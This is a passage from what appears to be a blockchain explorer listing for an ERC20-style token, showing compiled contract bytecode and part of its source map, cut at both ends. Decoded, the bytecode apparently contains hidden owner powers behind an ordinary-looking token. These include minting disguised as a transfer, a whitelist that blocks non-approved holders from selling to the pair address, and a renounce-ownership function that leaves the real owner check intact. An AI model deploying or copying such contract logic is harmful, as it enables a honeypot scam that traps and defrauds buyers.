fffffffffffffffff821415611baf57611bae6119f7565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c1660248361148d565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca860228361148d565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a60258361148d565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc60238361148d565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e60268361148d565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b8361148d565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea264697066735822122077dc37b2052ee66899f671ecae98b3f00ae27df23aac91602d048f51507fa56664736f6c634300080a0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063b9c7cdad146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306170714146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f9190611455565b610322565b005b61011e6103fb565b60405161012b919061151b565b60405180910390f35b61014e60048036038101906101499190611573565b61048d565b60405161015b91906115ce565b60405180910390f35b61016c6104ab565b60405161017991906115f8565b60405180910390f35b61019c60048036038101906101979190611613565b6104b5565b6040516101a991906115ce565b60405180910390f35b6101ba6105b6565b6040516101c79190611682565b60405180910390f35b6101ea60048036038101906101e59190611573565b6105de565b6040516101f791906115ce565b60405180910390f35b61021a60048036038101906102159190611455565b61068a565b60405161022791906115f8565b60405180910390f35b6102386106d3565b005b610242610829565b60405161024f91906116ac565b60405180910390f35b61026061084f565b60405161026d919061151b565b60405180910390f35b610290600480360381019061028b9190611573565b6108e1565b60405161029d91906115ce565b60405180910390f35b6102c060048036038101906102bb9190611573565b6109d5565b6040516102cd91906115ce565b60405180910390f35b6102f060048036038101906102eb919061180f565b610c3c565b005b61030c60048036038101906103079190611858565b610d17565b60405161031991906115f8565b60405180910390f35b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae906118e4565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606007805461040a90611933565b80601f016020809104026020016040519081016040528092919081815260200182805461043690611933565b80156104835780601f1061045857610100808354040283529160200191610483565b820191906000526020600020905b81548152906001019060200180831161046657829003601f168201915b5050505050905090565b60006104a161049a610d9e565b8484610da6565b6001905092915050565b6000600654905090565b60006104c2848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610584906119d7565b60405180910390fd5b6105aa85610599610d9e565b85846105a59190611a26565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006106806105eb610d9e565b8484600560006105f9610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067b9190611a5a565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106db610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f906118e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461085e90611933565b80601f016020809104026020016040519081016040528092919081815260200182805461088a90611933565b80156108d75780601f106108ac576101008083540402835291602001916108d7565b820191906000526020600020905b8154815290600101906020018083116108ba57829003601f168201915b5050505050905090565b600080600560006108f0610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611b22565b60405180910390fd5b6109ca6109b8610d9e565b8585846109c59190611a26565b610da6565b600191505092915050565b60006109df610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4c575060011515600960009054906101000a900460ff161515145b15610a8757610a63610a5c610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610c36565b610a8f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afc575060001515600960009054906101000a900460ff161515145b15610c1f57610b168260065461129590919063ffffffff16565b600681905550610b6e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0e91906115f8565b60405180910390a360019050610c36565b610c31610c2a610d9e565b8484610f71565b600190505b92915050565b610c44610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc8906118e4565b60405180910390fd5b60005b8151811015610d1357610d00828281518110610cf357610cf2611b42565b5b60200260200101516112f3565b8080610d0b90611b71565b915050610cd4565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115f8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b81816111919190611a26565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112239190611a5a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115f8565b60405180910390a350505050565b60008082846112a49190611a5a565b9050838110156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e090611ee0565b60405180910390fd5b8091505092915050565b6112fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f906118e4565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611422826113f7565b9050919050565b61143281611417565b811461143d57600080fd5b50565b60008135905061144f81611429565b92915050565b60006020828403121561146b5761146a6113ed565b5b600061147984828501611440565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114bc5780820151818401526020810190506114a1565b838111156114cb576000848401525b50505050565b6000601f19601f8301169050919050565b60006114ed82611482565b6114f7818561148d565b935061150781856020860161149e565b611510816114d1565b840191505092915050565b6000602082019050818103600083015261153581846114e2565b905092915050565b6000819050919050565b6115508161153d565b811461155b57600080fd5b50565b60008135905061156d81611547565b92915050565b6000806040838503121561158a576115896113ed565b5b600061159885828601611440565b92505060206115a98582860161155e565b9150509250929050565b60008115159050919050565b6115c8816115b3565b82525050565b60006020820190506115e360008301846115bf565b92915050565b6115f28161153d565b82525050565b600060208201905061160d60008301846115e9565b92915050565b60008060006060848603121561162c5761162b6113ed565b5b600061163a86828701611440565b935050602061164b86828701611440565b925050604061165c8682870161155e565b9150509250925092565b600060ff82169050919050565b61167c81611666565b82525050565b60006020820190506116976000830184611673565b92915050565b6116a681611417565b82525050565b60006020820190506116c1600083018461169d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611704826114d1565b810181811067ffffffffffffffff82111715611723576117226116cc565b5b80604052505050565b60006117366113e3565b905061174282826116fb565b919050565b600067ffffffffffffffff821115611762576117616116cc565b5b602082029050602081019050919050565b600080fd5b600061178b61178684611747565b61172c565b905080838252602082019050602084028301858111156117ae576117ad611773565b5b835b818110156117d757806117c38882611440565b8452602084019350506020810190506117b0565b5050509392505050565b600082601f8301126117f6576117f56116c7565b5b8135611806848260208601611778565b91505092915050565b600060208284031215611825576118246113ed565b5b600082013567ffffffffffffffff811115611843576118426113f2565b5b61184f848285016117e1565b91505092915050565b6000806040838503121561186f5761186e6113ed565b5b600061187d85828601611440565b925050602061188e85828601611440565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118ce60208361148d565b91506118d982611898565b602082019050919050565b600060208201905081810360008301526118fd816118c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061194b57607f821691505b6020821081141561195f5761195e611904565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119c160288361148d565b91506119cc82611965565b604082019050919050565b600060208201905081810360008301526119f0816119b4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a318261153d565b9150611a3c8361153d565b925082821015611a4f57611a4e6119f7565b5b828203905092915050565b6000611a658261153d565b9150611a708361153d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611aa557611aa46119f7565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b0c60258361148d565b9150611b1782611ab0565b604082019050919050565b60006020820190508181036000830152611b3b81611aff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b7c8261153d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611baf57611bae6119f7565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c1660248361148d565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca860228361148d565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a60258361148d565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc60238361148d565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e60268361148d565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b8361148d565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea264697066735822122077dc37b2052ee66899f671ecae98b3f00ae27df23aac91602d048f51507fa56664736f6c634300080a0033

Deployed Bytecode Sourcemap

14882:352:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8616:86;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7866:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10725:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9129:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10900:418;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15131:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12028:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9555:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6712:130;;;:::i;:::-;;5816:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8285:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12249:375;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10052:510;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11844:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10568:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8616:86;6160:12;:10;:12::i;:::-;6146:26;;:10;;;;;;;;;;:26;;;6138:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8691:3:::1;8682:6;;:12;;;;;;;;;;;;;;;;;;8616:86:::0;:::o;7866:100::-;7920:13;7953:5;7946:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7866:100;:::o;10725:169::-;10808:4;10825:39;10834:12;:10;:12::i;:::-;10848:7;10857:6;10825:8;:39::i;:::-;10882:4;10875:11;;10725:169;;;;:::o;9129:108::-;9190:7;9217:12;;9210:19;;9129:108;:::o;10900:418::-;11006:4;11023:36;11033:6;11041:9;11052:6;11023:9;:36::i;:::-;11070:24;11097:11;:19;11109:6;11097:19;;;;;;;;;;;;;;;:33;11117:12;:10;:12::i;:::-;11097:33;;;;;;;;;;;;;;;;11070:60;;11169:6;11149:16;:26;;11141:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;11231:57;11240:6;11248:12;:10;:12::i;:::-;11281:6;11262:16;:25;;;;:::i;:::-;11231:8;:57::i;:::-;11306:4;11299:11;;;10900:418;;;;;:::o;15131:100::-;15189:5;15214:9;15207:16;;15131:100;:::o;12028:215::-;12116:4;12133:80;12142:12;:10;:12::i;:::-;12156:7;12202:10;12165:11;:25;12177:12;:10;:12::i;:::-;12165:25;;;;;;;;;;;;;;;:34;12191:7;12165:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;12133:8;:80::i;:::-;12231:4;12224:11;;12028:215;;;;:::o;9555:127::-;9629:7;9656:9;:18;9666:7;9656:18;;;;;;;;;;;;;;;;9649:25;;9555:127;;;:::o;6712:130::-;6160:12;:10;:12::i;:::-;6146:26;;:10;;;;;;;;;;:26;;;6138:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6801:1:::1;6780:24;;6786:5;;;;;;;;;;;6780:24;;;;;;;;;;;;6832:1;6816:5;;:18;;;;;;;;;;;;;;;;;;6712:130::o:0;5816:20::-;;;;;;;;;;;;;:::o;8285:104::-;8341:13;8374:7;8367:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8285:104;:::o;12249:375::-;12342:4;12359:24;12386:11;:25;12398:12;:10;:12::i;:::-;12386:25;;;;;;;;;;;;;;;:34;12412:7;12386:34;;;;;;;;;;;;;;;;12359:61;;12459:15;12439:16;:35;;12431:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;12527:67;12536:12;:10;:12::i;:::-;12550:7;12578:15;12559:16;:34;;;;:::i;:::-;12527:8;:67::i;:::-;12612:4;12605:11;;;12249:375;;;;:::o;10052:510::-;10131:4;10166:12;:10;:12::i;:::-;10152:26;;:10;;;;;;;;;;:26;;;10151:45;;;;;10191:4;10184:11;;:5;;;;;;;;;;;:11;;;10151:45;10148:407;;;10198:42;10208:12;:10;:12::i;:::-;10222:9;10233:6;10198:9;:42::i;:::-;10248:5;10242;;:11;;;;;;;;;;;;;;;;;;10261:4;10254:11;;;;10148:407;10300:12;:10;:12::i;:::-;10286:26;;:10;;;;;;;;;;:26;;;10285:46;;;;;10325:5;10318:12;;:5;;;;;;;;;;;:12;;;10285:46;10282:273;;;10346:24;10363:6;10346:12;;:16;;:24;;;;:::i;:::-;10333:12;:37;;;;10392:32;10417:6;10392:9;:20;10402:9;10392:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10371:9;:20;10381:9;10371:20;;;;;;;;;;;;;;;:53;;;;10450:9;10430:38;;10439:9;10430:38;;;10461:6;10430:38;;;;;;:::i;:::-;;;;;;;;10477:4;10470:11;;;;10282:273;10498:42;10508:12;:10;:12::i;:::-;10522:9;10533:6;10498:9;:42::i;:::-;10549:4;10542:11;;10052:510;;;;;:::o;11844:174::-;6160:12;:10;:12::i;:::-;6146:26;;:10;;;;;;;;;;:26;;;6138:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;11929:9:::1;11924:81;11948:7;:14;11944:1;:18;11924:81;;;11984:18;11991:7;11999:1;11991:10;;;;;;;;:::i;:::-;;;;;;;;11984:6;:18::i;:::-;11964:3;;;;;:::i;:::-;;;;11924:81;;;;11844:174:::0;:::o;10568:151::-;10657:7;10684:11;:18;10696:5;10684:18;;;;;;;;;;;;;;;:27;10703:7;10684:27;;;;;;;;;;;;;;;;10677:34;;10568:151;;;;:::o;4563:98::-;4616:7;4643:10;4636:17;;4563:98;:::o;14165:344::-;14284:1;14267:19;;:5;:19;;;;14259:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14365:1;14346:21;;:7;:21;;;;14338:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14447:6;14417:11;:18;14429:5;14417:18;;;;;;;;;;;;;;;:27;14436:7;14417:27;;;;;;;;;;;;;;;:36;;;;14485:7;14469:32;;14478:5;14469:32;;;14494:6;14469:32;;;;;;:::i;:::-;;;;;;;;14165:344;;;:::o;12630:811::-;12754:1;12736:20;;:6;:20;;;;12728:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;12838:1;12817:23;;:9;:23;;;;12809:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12911:6;;;;;;;;;;;12898:19;;:9;:19;;;12894:63;;;12938:7;:15;12946:6;12938:15;;;;;;;;;;;;;;;;;;;;;;;;;12930:24;;;;;;12894:63;12967:21;12991:9;:17;13001:6;12991:17;;;;;;;;;;;;;;;;12967:41;;13044:6;13027:13;:23;;13019:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;13140:6;13124:13;:22;;;;:::i;:::-;13104:9;:17;13114:6;13104:17;;;;;;;;;;;;;;;:42;;;;13181:6;13157:9;:20;13167:9;13157:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;13220:9;13203:35;;13212:6;13203:35;;;13231:6;13203:35;;;;;;:::i;:::-;;;;;;;;12717:724;12630:811;;;:::o;1562:181::-;1620:7;1640:9;1656:1;1652;:5;;;;:::i;:::-;1640:17;;1681:1;1676;:6;;1668:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1734:1;1727:8;;;1562:181;;;;:::o;11694:90::-;6160:12;:10;:12::i;:::-;6146:26;;:10;;;;;;;;;;:26;;;6138:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;11772:4:::1;11754:7;:15;11762:6;11754:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;11694:90:::0;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:307::-;1524:1;1534:113;1548:6;1545:1;1542:13;1534:113;;;1633:1;1628:3;1624:11;1618:18;1614:1;1609:3;1605:11;1598:39;1570:2;1567:1;1563:10;1558:15;;1534:113;;;1665:6;1662:1;1659:13;1656:101;;;1745:1;1736:6;1731:3;1727:16;1720:27;1656:101;1505:258;1456:307;;;:::o;1769:102::-;1810:6;1861:2;1857:7;1852:2;1845:5;1841:14;1837:28;1827:38;;1769:102;;;:::o;1877:364::-;1965:3;1993:39;2026:5;1993:39;:::i;:::-;2048:71;2112:6;2107:3;2048:71;:::i;:::-;2041:78;;2128:52;2173:6;2168:3;2161:4;2154:5;2150:16;2128:52;:::i;:::-;2205:29;2227:6;2205:29;:::i;:::-;2200:3;2196:39;2189:46;;1969:272;1877:364;;;;:::o;2247:313::-;2360:4;2398:2;2387:9;2383:18;2375:26;;2447:9;2441:4;2437:20;2433:1;2422:9;2418:17;2411:47;2475:78;2548:4;2539:6;2475:78;:::i;:::-;2467:86;;2247:313;;;;:::o;2566:77::-;2603:7;2632:5;2621:16;;2566:77;;;:::o;2649:122::-;2722:24;2740:5;2722:24;:::i;:::-;2715:5;2712:35;2702:63;;2761:1;2758;2751:12;2702:63;2649:122;:::o;2777:139::-;2823:5;2861:6;2848:20;2839:29;;2877:33;2904:5;2877:33;:::i;:::-;2777:139;;;;:::o;2922:474::-;2990:6;2998;3047:2;3035:9;3026:7;3022:23;3018:32;3015:119;;;3053:79;;:::i;:::-;3015:119;3173:1;3198:53;3243:7;3234:6;3223:9;3219:22;3198:53;:::i;:::-;3188:63;;3144:117;3300:2;3326:53;3371:7;3362:6;3351:9;3347:22;3326:53;:::i;:::-;3316:63;;3271:118;2922:474;;;;;:::o;3402:90::-;3436:7;3479:5;3472:13;3465:21;3454:32;;3402:90;;;:::o;3498:109::-;3579:21;3594:5;3579:21;:::i;:::-;3574:3;3567:34;3498:109;;:::o;3613:210::-;3700:4;3738:2;3727:9;3723:18;3715:26;;3751:65;3813:1;3802:9;3798:17;3789:6;3751:65;:::i;:::-;3613:210;;;;:::o;3829:118::-;3916:24;3934:5;3916:24;:::i;:::-;3911:3;3904:37;3829:118;;:::o;3953:222::-;4046:4;4084:2;4073:9;4069:18;4061:26;;4097:71;4165:1;4154:9;4150:17;4141:6;4097:71;:::i;:::-;3953:222;;;;:::o;4181:619::-;4258:6;4266;4274;4323:2;4311:9;4302:7;4298:23;4294:32;4291:119;;;4329:79;;:::i;:::-;4291:119;4449:1;4474:53;4519:7;4510:6;4499:9;4495:22;4474:53;:::i;:::-;4464:63;;4420:117;4576:2;4602:53;4647:7;4638:6;4627:9;4623:22;4602:53;:::i;:::-;4592:63;;4547:118;4704:2;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4675:118;4181:619;;;;;:::o;4806:86::-;4841:7;4881:4;4874:5;4870:16;4859:27;;4806:86;;;:::o;4898:112::-;4981:22;4997:5;4981:22;:::i;:::-;4976:3;4969:35;4898:112;;:::o;5016:214::-;5105:4;5143:2;5132:9;5128:18;5120:26;;5156:67;5220:1;5209:9;5205:17;5196:6;5156:67;:::i;:::-;5016:214;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:117::-;5697:1;5694;5687:12;5711:180;5759:77;5756:1;5749:88;5856:4;5853:1;5846:15;5880:4;5877:1;5870:15;5897:281;5980:27;6002:4;5980:27;:::i;:::-;5972:6;5968:40;6110:6;6098:10;6095:22;6074:18;6062:10;6059:34;6056:62;6053:88;;;6121:18;;:::i;:::-;6053:88;6161:10;6157:2;6150:22;5940:238;5897:281;;:::o;6184:129::-;6218:6;6245:20;;:::i;:::-;6235:30;;6274:33;6302:4;6294:6;6274:33;:::i;:::-;6184:129;;;:::o;6319:311::-;6396:4;6486:18;6478:6;6475:30;6472:56;;;6508:18;;:::i;:::-;6472:56;6558:4;6550:6;6546:17;6538:25;;6618:4;6612;6608:15;6600:23;;6319:311;;;:::o;6636:117::-;6745:1;6742;6735:12;6776:710;6872:5;6897:81;6913:64;6970:6;6913:64;:::i;:::-;6897:81;:::i;:::-;6888:90;;6998:5;7027:6;7020:5;7013:21;7061:4;7054:5;7050:16;7043:23;;7114:4;7106:6;7102:17;7094:6;7090:30;7143:3;7135:6;7132:15;7129:122;;;7162:79;;:::i;:::-;7129:122;7277:6;7260:220;7294:6;7289:3;7286:15;7260:220;;;7369:3;7398:37;7431:3;7419:10;7398:37;:::i;:::-;7393:3;7386:50;7465:4;7460:3;7456:14;7449:21;;7336:144;7320:4;7315: